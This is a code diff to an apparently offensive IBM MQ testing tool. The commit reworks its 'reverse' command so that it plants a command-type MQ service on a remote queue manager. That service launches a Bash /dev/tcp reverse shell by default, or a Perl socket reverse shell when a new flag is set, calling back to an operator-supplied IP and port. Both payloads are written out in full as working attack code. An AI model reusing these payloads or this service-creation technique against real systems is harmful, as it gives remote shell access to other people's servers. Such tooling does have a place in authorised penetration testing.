@@ -1008,11 +1008,13 @@ def execute(cmd, args, service_name, wait, ignore_path):
1008
1008
@click .option ('--ip' , '-i' , type = click .STRING , required = True , help = 'The IP address to connect back to.' )
1009
1009
@click .option ('--port' , '-p' , type = click .INT , required = True , help = 'The port for the connection back.' )
1010
1010
@click .option ('--service-name' , '-n' , type = click .UNPROCESSED , default = None , help = 'A service name to use.' )
1011
+ @click .option ('--perl' , '-P' , type = click .BOOL , is_flag = True , required = False ,
1012
+ help = 'Prefer a Perl-based reverse shell over Bash' )
1011
1013
@click .option ('--wait' , '-w' , default = 5 , show_default = True ,
1012
1014
help = 'Number of seconds to wait before cleaning up the service.' )
1013
- def reverse (ip , port , service_name , wait ):
1015
+ def reverse (ip , port , service_name , perl , wait ):
1014
1016
"""
1015
- Start a Perl-based reverse shell.
1017
+ Start reverse shell.
1016
1018
1017
1019
\b
1018
1020
Examples:
@@ -1026,16 +1028,24 @@ def reverse(ip, port, service_name, wait):
1026
1028
# Cleanup the service name to remove spaces and dashes and limit to 16 chars
1027
1029
service_name = str (service_name ).replace ('-' , '' ).replace (' ' , '' )[0 :16 ].encode ()
1028
1030
1029
- # raw perl, passed as part of a -e argument
1030
- payload = "use Socket;$i='" + str (ip ) + "';$p=" + str (port ) + \
1031
- ";socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp'));" \
1032
- "if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,'>&S');" \
1033
- "open(STDOUT,'>&S');open(STDERR,'>&S');exec('/bin/sh -i');};"
1031
+ # by default we will try and use bash for the reverse shell
1032
+ executable = '/usr/bin/bash'
1033
+ payload = f'-c "bash -i >& /dev/tcp/{ ip } /{ port } 0>&1"'
1034
+
1035
+ if perl :
1036
+ executable = '/usr/bin/perl'
1037
+ # raw perl, passed as part of a -e argument
1038
+ r_shell = f"use Socket;$i='{ ip } ';$p={ port } " + \
1039
+ ";socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp'));" \
1040
+ "if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,'>&S');" \
1041
+ "open(STDOUT,'>&S');open(STDERR,'>&S');exec('/bin/sh -i');};"
1042
+ payload = f'-e "{ r_shell } "'
1034
1043
1035
1044
# information
1036
1045
click .secho (f'Remote IP: { ip } ' , dim = True )
1037
1046
click .secho (f'Remote Port: { port } ' , dim = True )
1038
- click .secho (f'Raw Reverse Shell: { payload } ' , dim = True , fg = 'blue' )
1047
+ click .secho (f'Executable: { executable } ' , dim = True , fg = 'blue' )
1048
+ click .secho (f'Arguments: { payload } ' , dim = True , fg = 'blue' )
1039
1049
click .secho (f'Service Name: { service_name .decode ()} \n ' , dim = True )
1040
1050
1041
1051
qmgr = pymqi .connect (mqstate .qm_name , mqstate .channel , mqstate .get_host (),
@@ -1047,8 +1057,8 @@ def reverse(ip, port, service_name, wait):
1047
1057
pymqi .CMQC .MQCA_SERVICE_NAME : service_name ,
1048
1058
pymqi .CMQC .MQIA_SERVICE_CONTROL : pymqi .CMQC .MQSVC_CONTROL_MANUAL ,
1049
1059
pymqi .CMQC .MQIA_SERVICE_TYPE : pymqi .CMQC .MQSVC_TYPE_COMMAND ,
1050
- pymqi .CMQC .MQCA_SERVICE_START_COMMAND : '/usr/bin/perl' .encode (),
1051
- pymqi .CMQC .MQCA_SERVICE_START_ARGS : f'-e " { payload } "' .encode (),
1060
+ pymqi .CMQC .MQCA_SERVICE_START_COMMAND : executable .encode (),
1061
+ pymqi .CMQC .MQCA_SERVICE_START_ARGS : payload .encode (),
1052
1062
}
1053
1063
pcf = pymqi .PCFExecute (qmgr )
1054
1064
pcf .MQCMD_CREATE_SERVICE (args )
@@ -1064,8 +1074,8 @@ def reverse(ip, port, service_name, wait):
1064
1074
1065
1075
except pymqi .MQMIError as dme :
1066
1076
if dme .reason == pymqi .CMQCFC .MQRCCF_PROGRAM_NOT_AVAILABLE :
1067
- click .secho ('The program \' /usr/bin/perl \' is not available on the remote system.' , fg = 'red' )
1068
- return
1077
+ click .secho (f 'The program \' { executable } \' is not available on the remote system.' , fg = 'red' )
1078
+ wait = 0
1069
1079
1070
1080
else :
1071
1081
raise dme
0 commit comments